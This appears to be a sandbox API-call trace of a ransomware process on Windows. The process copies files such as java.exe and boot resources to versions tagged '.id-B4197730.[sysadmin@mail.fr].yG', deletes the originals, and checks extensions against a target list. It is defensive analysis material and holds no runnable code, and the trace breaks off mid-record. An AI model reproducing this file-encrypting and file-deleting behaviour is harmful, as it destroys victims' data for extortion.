	[0184.455] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0184.455] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.455] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.455] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0184.456] GetLastError () returned 0x0
	[0184.456] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x32840, lpOverlapped=0x0) returned 1
	[0184.476] WriteFile (in: hFile=0x388, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x32850, lpOverlapped=0x0) returned 1
	[0184.480] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.480] WriteFile (in: hFile=0x388, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0184.480] SetEndOfFile (hFile=0x388) returned 1
	[0184.480] CloseHandle (hObject=0x388) returned 1
	[0184.480] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.480] SetEndOfFile (hFile=0x350) returned 1
	[0184.483] CloseHandle (hObject=0x350) returned 1
	[0184.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.483] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1
	[0184.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.483] lstrlenW (lpString=".doc") returned 4
	[0184.483] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0184.483] lstrlenW (lpString=".docx") returned 5
	[0184.483] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1
	[0184.483] lstrlenW (lpString=".pdf") returned 4
	[0184.483] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0184.483] lstrlenW (lpString=".xls") returned 4
	[0184.484] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0184.484] lstrlenW (lpString=".xlsx") returned 5
	[0184.484] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1
	[0184.484] lstrlenW (lpString=".ppt") returned 4
	[0184.484] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0184.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.484] lstrlenW (lpString=".zip") returned 4
	[0184.484] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0184.484] lstrlenW (lpString=".rar") returned 4
	[0184.484] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0184.484] lstrlenW (lpString=".bz2") returned 4
	[0184.484] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0184.484] lstrlenW (lpString=".7z") returned 3
	[0184.484] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0184.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.484] lstrlenW (lpString=".dbf") returned 4
	[0184.484] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0184.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.485] lstrlenW (lpString=".1cd") returned 4
	[0184.485] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0184.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.485] lstrlenW (lpString=".jpg") returned 4
	[0184.485] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0184.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.485] lstrlenW (lpString=".doc") returned 4
	[0184.485] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0184.485] lstrlenW (lpString=".docx") returned 5
	[0184.485] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1
	[0184.485] lstrlenW (lpString=".pdf") returned 4
	[0184.485] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0184.485] lstrlenW (lpString=".xls") returned 4
	[0184.485] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0184.485] lstrlenW (lpString=".xlsx") returned 5
	[0184.485] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1
	[0184.485] lstrlenW (lpString=".ppt") returned 4
	[0184.485] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0184.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.485] lstrlenW (lpString=".zip") returned 4
	[0184.485] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0184.485] lstrlenW (lpString=".rar") returned 4
	[0184.485] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0184.485] lstrlenW (lpString=".bz2") returned 4
	[0184.486] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0184.486] lstrlenW (lpString=".7z") returned 3
	[0184.486] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0184.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.486] lstrlenW (lpString=".dbf") returned 4
	[0184.486] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0184.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.486] lstrlenW (lpString=".1cd") returned 4
	[0184.486] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0184.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0184.486] lstrlenW (lpString=".jpg") returned 4
	[0184.486] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0184.486] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0184.486] lstrlenW (lpString="JavaAccessBridge-64.dll") returned 23
	[0184.486] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0184.487] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=142400) returned 1
	[0184.487] CloseHandle (hObject=0x350) returned 1
	[0184.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20
	[0184.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.487] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0184.488] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.488] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.488] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0184.489] GetLastError () returned 0x0
	[0184.489] ReadFile (hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0) 

Thread:
	id = 105
	os_tid = 0xcd4

	[0178.608] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3cc00a0
	[0178.608] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3cd00a8
	[0178.609] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9630
	[0178.609] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x71fe18
	[0178.609] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9720
	[0178.609] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x4168020
	[0178.612] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9678
	[0178.612] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f9678, Size=0x20) returned 0x6de020
	[0178.612] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9648
	[0178.612] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f9648, Size=0x20) returned 0x6de070
	[0178.613] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.613] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.613] Wow64DisableWow64FsRedirection (in: OldValue=0x379ff50 | out: OldValue=0x379ff50*=0x0) returned 1
	[0178.613] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.613] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.613] Sleep (dwMilliseconds=0x64) 
	[0178.890] Sleep (dwMilliseconds=0x64) 
	[0179.156] Sleep (dwMilliseconds=0x64) 
	[0179.465] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0179.466] lstrlenW (lpString="bootres.dll") returned 11
	[0179.466] CreateFileW (lpFileName="C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.466] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=92576) returned 1
	[0179.467] CloseHandle (hObject=0x350) returned 1
	[0179.467] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20
	[0179.467] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\bootres.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\resources\\bootres.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.467] CreateFileW (lpFileName="C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.468] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.468] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.468] lstrlenW (lpString=".doc") returned 4
	[0179.468] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.468] lstrlenW (lpString=".docx") returned 5
	[0179.468] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0179.468] lstrlenW (lpString=".pdf") returned 4
	[0179.468] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.468] lstrlenW (lpString=".xls") returned 4
	[0179.468] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.468] lstrlenW (lpString=".xlsx") returned 5
	[0179.468] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0179.468] lstrlenW (lpString=".ppt") returned 4
	[0179.468] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.469] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.469] lstrlenW (lpString=".zip") returned 4
	[0179.469] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.469] lstrlenW (lpString=".rar") returned 4
	[0179.469] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.469] lstrlenW (lpString=".bz2") returned 4
	[0179.469] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.469] lstrlenW (lpString=".7z") returned 3
	[0179.469] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.469] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.469] lstrlenW (lpString=".dbf") returned 4
	[0179.469] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.469] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.469] lstrlenW (lpString=".1cd") returned 4
	[0179.469] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.470] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.470] lstrlenW (lpString=".jpg") returned 4
	[0179.470] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.470] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.470] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.470] lstrlenW (lpString=".doc") returned 4
	[0179.470] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.470] lstrlenW (lpString=".docx") returned 5
	[0179.470] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0179.470] lstrlenW (lpString=".pdf") returned 4
	[0179.470] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.470] lstrlenW (lpString=".xls") returned 4
	[0179.470] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.470] lstrlenW (lpString=".xlsx") returned 5
	[0179.471] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0179.471] lstrlenW (lpString=".ppt") returned 4
	[0179.471] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.471] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.471] lstrlenW (lpString=".zip") returned 4
	[0179.471] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.471] lstrlenW (lpString=".rar") returned 4
	[0179.471] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.471] lstrlenW (lpString=".bz2") returned 4
	[0179.471] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.471] lstrlenW (lpString=".7z") returned 3
	[0179.471] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.472] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.472] lstrlenW (lpString=".dbf") returned 4
	[0179.472] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.472] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.472] lstrlenW (lpString=".1cd") returned 4
	[0179.472] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.472] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29
	[0179.472] lstrlenW (lpString=".jpg") returned 4
	[0179.472] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.473] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0179.473] lstrlenW (lpString="bootres.dll.mui") returned 15
	[0179.473] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.473] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=12192) returned 1
	[0179.473] CloseHandle (hObject=0x350) returned 1
	[0179.473] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20
	[0179.473] GetFileAttributesW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.474] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.474] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.474] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.474] lstrlenW (lpString=".doc") returned 4
	[0179.474] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.474] lstrlenW (lpString=".docx") returned 5
	[0179.474] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0179.474] lstrlenW (lpString=".pdf") returned 4
	[0179.474] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.474] lstrlenW (lpString=".xls") returned 4
	[0179.474] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.474] lstrlenW (lpString=".xlsx") returned 5
	[0179.474] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0179.474] lstrlenW (lpString=".ppt") returned 4
	[0179.474] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.474] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.474] lstrlenW (lpString=".zip") returned 4
	[0179.474] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.474] lstrlenW (lpString=".rar") returned 4
	[0179.474] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.474] lstrlenW (lpString=".bz2") returned 4
	[0179.475] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.475] lstrlenW (lpString=".7z") returned 3
	[0179.475] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.475] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.475] lstrlenW (lpString=".dbf") returned 4
	[0179.475] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.475] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.475] lstrlenW (lpString=".1cd") returned 4
	[0179.475] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.475] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.475] lstrlenW (lpString=".jpg") returned 4
	[0179.475] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.475] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.476] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.476] lstrlenW (lpString=".doc") returned 4
	[0179.476] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.476] lstrlenW (lpString=".docx") returned 5
	[0179.476] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0179.476] lstrlenW (lpString=".pdf") returned 4
	[0179.476] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.476] lstrlenW (lpString=".xls") returned 4
	[0179.476] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.476] lstrlenW (lpString=".xlsx") returned 5
	[0179.476] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0179.476] lstrlenW (lpString=".ppt") returned 4
	[0179.476] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.476] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.476] lstrlenW (lpString=".zip") returned 4
	[0179.476] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.477] lstrlenW (lpString=".rar") returned 4
	[0179.477] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.477] lstrlenW (lpString=".bz2") returned 4
	[0179.477] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.477] lstrlenW (lpString=".7z") returned 3
	[0179.480] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.480] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.480] lstrlenW (lpString=".dbf") returned 4
	[0179.480] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.480] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.480] lstrlenW (lpString=".1cd") returned 4
	[0179.480] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.480] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39
	[0179.480] lstrlenW (lpString=".jpg") returned 4
	[0179.480] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.480] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0179.480] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0179.480] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.481] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=76128) returned 1
	[0179.481] CloseHandle (hObject=0x350) returned 1
	[0179.481] GetFileAttributesW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20
	[0179.481] GetFileAttributesW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.481] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.482] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.482] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.482] lstrlenW (lpString=".doc") returned 4
	[0179.482] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.482] lstrlenW (lpString=".docx") returned 5
	[0179.482] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.482] lstrlenW (lpString=".pdf") returned 4
	[0179.482] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.482] lstrlenW (lpString=".xls") returned 4
	[0179.482] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.482] lstrlenW (lpString=".xlsx") returned 5
	[0179.482] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.482] lstrlenW (lpString=".ppt") returned 4
	[0179.482] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.482] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.482] lstrlenW (lpString=".zip") returned 4
	[0179.482] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.482] lstrlenW (lpString=".rar") returned 4
	[0179.482] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.482] lstrlenW (lpString=".bz2") returned 4
	[0179.482] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.482] lstrlenW (lpString=".7z") returned 3
	[0179.482] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.482] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.483] lstrlenW (lpString=".dbf") returned 4
	[0179.483] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.483] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.483] lstrlenW (lpString=".1cd") returned 4
	[0179.483] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.483] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.483] lstrlenW (lpString=".jpg") returned 4
	[0179.483] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.483] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.483] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29
	[0179.483] lstrlenW (lpString=".doc") returned 4
	[0179.483] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.483] lstrlenW (lpString=".docx") returned 5
	[0179.483] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.483] lstrlenW (lpString=".pdf") returned 4
	[0179.483] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.483] lstrlenW (lpString=".xls") returned 4
	[0179.483] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.483] lstrlenW (lpString=".xlsx") returned 5
	[0179.483] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
